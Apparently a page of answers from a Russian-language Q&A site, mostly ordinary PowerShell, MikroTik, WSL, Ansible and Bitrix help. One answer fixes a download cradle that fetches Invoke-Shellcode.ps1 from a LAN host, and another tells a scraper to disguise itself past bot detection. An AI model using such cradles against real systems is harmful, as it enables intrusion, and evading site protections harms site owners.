• Как выключить 3par через PS?

    @MaxKozlov Куратор тега PowerShell
    это надо посмотреть что умеет shutdownsys
    может у него есть --force или типа того

    А может, раз вы ShellStream используете, подойдёт
    "echo y | shutdownsys halt"
    Ответ написан
    Комментировать
  • Как вычислить вчерашнюю и позавчерашнюю дату в mikrotik?

    @MaxKozlov
    Есть такие скриптики
    func_date2days - count days from base to given date.

    ########## func_date2days - count days from base to given date. 
    #  Input: two dates like "jan/1/2017"
    ########## uncomment for testing
    :local date $1
    #:local date "sep/13/2017"
    #:put $date
    
    # Base MUST BE lower of any given date. Mikrotik counts from jan/01/1970. 
    #correct only for years>1918
    :local base 1970
    
    ########################################
    :local mdays  {31;28;31;30;31;30;31;31;30;31;30;31}
    :local months {"jan"=1;"feb"=2;"mar"=3;"apr"=4;"may"=5;"jun"=6;"jul"=7;"aug"=8;"sep"=9;"oct"=10;"nov"=11;"dec"=12}
    
    #date 
    :local dd  [:tonum [:pick $date 4 6]]
    :local yy [:tonum [:pick $date 7 11]]
    :local mm [:pick $date 0 3]
    :set mm ($months->$mm)
    
    #0. We have dd/mm/yy
    :local res 0
    
    #1. Move to 01/mm/yy
    :set res ($res+$dd-1)
    
    #2. Move to 01/01/yy
    :while ($mm>1) do={
      :set mm ($mm-1)
      :local dm [:pick $mdays ($mm-1)]
      :if ($mm=2 && (($yy&3=0 && $yy/100*100 != $yy) || $yy/400*400=$yy) ) do={ :set dm 29 }
      :set res ($res+$dm)
    }
    
    #3. Move to 01/01/1900
    :while ($yy>$base) do={
      :set yy ($yy-1)
      :set res ($res+365)
      :if (  ( ($yy&3=0) && ($yy/100*100 != $yy)) || $yy/400*400=$yy ) do={
       :set res ($res+1)
      }
    }
    :return $res


    func_days2date - convert days from base to date string

    ########## func_days2date - convert days from base to date string
    #  Input: days like 18762 (may/15/2021)
    ########## uncomment for testing
    
    :local days $1
    
    #:local days 789
    #:put $days
    
    #days starts from 1
    :set days ($days + 1)
    
    # Base MUST BE lower of any given date. Mikrotik counts from jan/01/1970. 
    #correct only for years>1918
    :local base 1970
    
    ########################################
    :local mdays  {31;28;31;30;31;30;31;31;30;31;30;31}
    :local months {1="jan";2="feb";3="mar";4="apr";5="may";6="jun";7="jul";8="aug";9="sep";10="oct";11="nov";12="dec"}
    
    #date 
    :local yy $base
    :local mm 0
    # base year is not leap
    :local daydiff 365
    :local isleap false
    
    #1. Move to 01/01/yy
    :while ($days > $daydiff) do={
      :set days ($days - $daydiff)
      :set yy ($yy + 1)
      :if (  ( ($yy & 3 = 0) && ($yy/100*100 != $yy)) || $yy/400*400=$yy ) do={
        :set daydiff 366
        :set isleap true
    #    :put "adjust: $yy, days: $days"
      } else={
        :set daydiff 365
        :set isleap false
      }
    #  :put "yy: $yy, days: $days"
    }
    
    #2. Adjust feb 29 if leap year
    #:put "mmm: $mm, days: $days, isleap: $isleap"
    :if ($isleap) do={
    #  :put "adjust month days"
      :set ($mdays->1) 29
    }
    
    #3. Move to 01/mm/yy
    :while ($days > $mdays->$mm) do={
    #  :put ($mdays->$mm)
      :set days ($days-($mdays->$mm))
      :set mm ($mm + 1)
    #  :put "mm: $mm, days: $days"
    }
    
    :local month [:tostr ($mm + 1)]
    :set month ($months->$month)
    :if ($days < 10) do={ :set days ("0".(:tostr $days)) } else={ :set days (:tostr $days) }
    :local res "$month/$days/$yy"
    
    #:put $res
    :return $res


    Первый где-то наковырял, второй понадобился, сам нарисовал :)
    Можно совместить и использовать
    :local date2days [:parse [/system script get func_date2days source]]; :local today "may/12/2023"; :local days [$date2days $today]; :put $days; 
    :local days2date [:parse [/system script get func_days2date source]]; :put [$days2date ($days-1)]
    Ответ написан
    2 комментария
  • Как сделать цикл в PowerShell с условием срабатывания?

    @MaxKozlov Куратор тега PowerShell
    Если оно вам показывает при выводе не то, что на самом деле, значит оно не работает.
    К сожалению, с температурными датчиками у МС не складывается.
    А если таки заработает, или найдёте другой способ получения температуры,
    то вы должны в цикле мониторить, записывать предыдущее значение в отдельную переменную и слать оповещение только когда следующее измерение перейдёт "порог" туда или обратно
    типа
    $border = 40
    $prev_temp = Get-Temperature 
    do {
      $cur_temp = Get-Temperature 
      if (
           ($cur_temp -lt $border -and $prev_temp -gt $border) -or
           ($cur_temp -gt $border -and $prev_temp -lt $border)
         )
      {
         Send-Notification $prev_temp $cur_temp
      }
      $prev_temp = $cur_temp
      Start-Sleep -Seconds 60
    } while ($true)

    Пример, естественно, для одного значения, а не массива
    Ответ написан
    Комментировать
  • Как передать значение переменной за пределы bash скрипта?

    @MaxKozlov Куратор тега PowerShell
    Вы можете передать в powershell весь вывод вашего скрипта и потом его парсить
    $result = wsl ls
    в $result будет вывод ls
    потом делайте с ним что хотите
    или запишите то что вам надо во временный файл, а в PS читайте его содержимое
    Ответ написан
  • Как запустить bash скрипт из PowerShell?

    @MaxKozlov Куратор тега PowerShell
    -e означает не использовать shell (wsl -?)
    Если командная строка не указана, wsl.exe запускает оболочку по умолчанию.

    --exec, -e
    Выполните указанную команду без использования оболочки Linux по умолчанию.

    source - это команда шелла
    уберите -e
    Ответ написан
  • Как запустить процесс в PowerShell с подгрузкой рабочей области?

    @MaxKozlov Куратор тега PowerShell
    Не очень понятно, что вы понимаете под рабочей областью и почему не грузятся встроенные модули, но мой хрустальный шар подсказывает, что вам надо установить рабочую папку
    Start-Process -FilePath "C:\QUIK_VTB_85\info.exe" -WorkingDirectory "C:\QUIK_VTB_85\"


    уж не знаю, насколько он прав

    p.s. у каждой встроенной команды powershell и у каждой хорошо написанной невстроенной тоже есть справка, например
    Start-Process -?
    там ещё есть множество интересных параметров
    Ответ написан
    Комментировать
  • Как получить состояние CRON WSL через PowerShell?

    @MaxKozlov Куратор тега PowerShell
    вы в курсе, что у wsl есть справка, которую можно вызвать как wsl -?
    Использование: wsl.exe [Argument] [Options...] [CommandLine]


    и, внезапно, wsl service cron status, выдаст вам то что надо

    Если нужна строка только про Active, можно добавить | Select-String Active
    Ответ написан
    7 комментариев
  • Где ошибка в цикле PowerShell?

    @MaxKozlov Куратор тега PowerShell
    фигурных скобок не хватает вокруг "net use"

    а вот так лучше никогда не пишите, это какой-то безумный бред преобразовывать $null в bool, а потом ещё сравнивать со строкой, которая внезапно тоже может быть null
    if (([bool] ($null)) -eq $NetDriveName )
    достаточно было бы
    if (-not $NetDriveName) {
      net use
    }


    и в цикле то же самое. -contains само по себе возвращает bool, ничего никуда преобразовывать не нужно. в крайнем случае преобразуется неявно
    Ответ написан
  • Как правильно конкатенировать массив-переменную из параметров в запуск утилиты вызываемой из powershell?

    @MaxKozlov Куратор тега PowerShell
    не надо ничего конкатенировать
    $params = 'some',  'parameters',  'here'
    & utility $params
    Ответ написан
    Комментировать
  • Почему ansible ругается на эту строку?

    @MaxKozlov
    В каком месте у win_shell есть атрибут state ?
    Ответ написан
    1 комментарий
  • В чем может быть причина ошибка Ansible?

    @MaxKozlov
    ansible.windows.win_package у вас не взлетел, скорее всего из-за синтаксиса неверного, а вот 1636 с большой вероятностью - double hop, копируйте пакет локально
    Ответ написан
  • Удаленное управление WinRM?

    @MaxKozlov Куратор тега PowerShell
    Судя по "Stack: 2.0" у вас там powershell v2,
    Для начала поставьте 5.1

    А с кодировкой фигня получается из-за того, что все консольные программы используют не-unicode кодировку

    Обойти можно так, например
    Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...


    Минус будет такой, что если у вас сетевое соедниение названо по-русски, оно крокозябрми останется

    Или свой перекодировщик отдельный сделать, которым перекодировать весь вывод после получения
    Ответ написан
    Комментировать
  • Как узнать дату последнего использования учётной записи в AD?

    @MaxKozlov Куратор тега PowerShell
    Если посмотреть на доки
    атрибут Last-Logon
    Атрибут Last-Logon-Timestamp
    То там есть
    Значение нуля означает, что время последнего входа неизвестно.

    Фиг знает, почему оно может быть неизвестно, но это может быть ваш случай :)

    ну и эту ссылочку оставлю для тех, кто ещё не разобрался в нюансах
    Understanding the AD Account attributes - LastLogo...
    Ответ написан
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    Если ваш скрипт лежит в той же папке, запускайте как ./Invoke-Shellcode.ps
    Если нет - где лежит, оттуда и запускайте.

    з.ы. и это, если получили ответ - отмечайте ответом
    Ответ написан
    Комментировать
  • Не работает команда в PowerShell. Что делать?

    @MaxKozlov Куратор тега PowerShell
    (New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")

    помимо ненужного Invoke-Expression у вас ещё протокол не указан. точнее, скорее всего вы его удалили при редактировании, потому что в ошибке-то он есть :)

    p.s. пентест при таких вводных - не очень убедительно
    Ответ написан
    Комментировать
  • Как развернуть REST API на 1С-Битрикс?

    @MaxKozlov
    Источники мудрости
    Rest API от Bitrix24
    Статья от intervolga
    Возможно, вариант решения через bitrix:rest.marketplace.localapp. У меня не заработало
    Рабочее решение

    https обязателен

    1. Предполагается что страничка секретная или даже одноразовая, только для получения хука
      /local/rest/index.php
      <?php require_once($_SERVER['DOCUMENT_ROOT'] . 
          "/bitrix/modules/main/include/prolog_admin.php"); ?>
         <div class="adm-workarea">
             <? $APPLICATION->IncludeComponent(
                 "bitrix:rest.hook",
                 ".default",
                 [
                     "SEF_MODE" => "Y",
                     "SEF_FOLDER" => "/local/rest/",
                     "COMPONENT_TEMPLATE" => ".default",
                     "SEF_URL_TEMPLATES" => [
                         "list" => "",
                         "event_list" => "event/",
                         "event_edit" => "event/#id#/",
                         "ap_list" => "ap/",
                         "ap_edit" => "ap/#id#/",
                     ]
                 ],
                 false
             ); ?>
             <br>
             <a href="javascript:void(0)" class="adm-btn adm-btn-green"
                 onclick="BX.PopupMenu.show('rest_hook_menu', this, [{
                    'href':'/local/rest/event/0/',
                    'text':'Исходящий вебхук'
                 },{
                    'href':'/local/rest/ap/0/',
                    'text':'Входящий вебхук'
                 }])">
                 Добавить вебхук
             </a>
         </div>
      <? require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/epilog_admin.php");

    2. в urlrewrite.php добавляем
      array(
         'CONDITION' => '#^/local/rest/#',
         'RULE' => '',
         'ID' => 'bitrix:rest.hook',
         'PATH' => '/local/rest/index.php',
      ),

    3. Надо убедиться, что urlrewrite.php битрикса отрабатывает ссылки на нашу страницу вида /local/rest/ap/0/
    4. Заходим на свежесозданную страницу, добавляем там свой входящий хук
    5. Получаем пару client_id / secret_id
    6. Используем в запросах вида
      https: //site.domain/rest/17607/p8n2dh2hf2nf258n/profile/

    Ответ написан
    3 комментария
  • Почему powershell не реагирует на коды клавиш стрелок?

    @MaxKozlov Куратор тега PowerShell
    Это статейка про консоль, в которой объясняется что да как (там серия)

    Introducing the Windows Pseudo Console (ConPTY)

    А это пример самописного терминала, который таки реагирует на стрелку вверх 0x1b[A так, как вам бы хотелось, при отключении PSReadline
    Правда у него чуть другая проблема - на цвета не реагирует :) 0x1b[XXXXXm
    Описание (соседние примеры тоже полезны)
    Исходники
    Ответ написан
    Комментировать
  • Как удалить одинаковые файлы по подстроке с помощью Powershell?

    @MaxKozlov Куратор тега PowerShell
    Пропустить первые элементы в каждой группе ?
    Get-ChildItem "C:\Temp\files\*.txt"  | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 }
    Ответ написан
    1 комментарий
  • Почему парсер то работает то нет?

    @MaxKozlov
    Для начала вы можете записать в файл то, что находится в source, и сравнить между собой успешный и неуспешный запуск
    ...
    Судя по наличию в неуспешном ответе "SmartCaptcha", вас распознают как робота.

    Увеличиваем таймауты, маскируемся всячески.
    Ответ написан
    Комментировать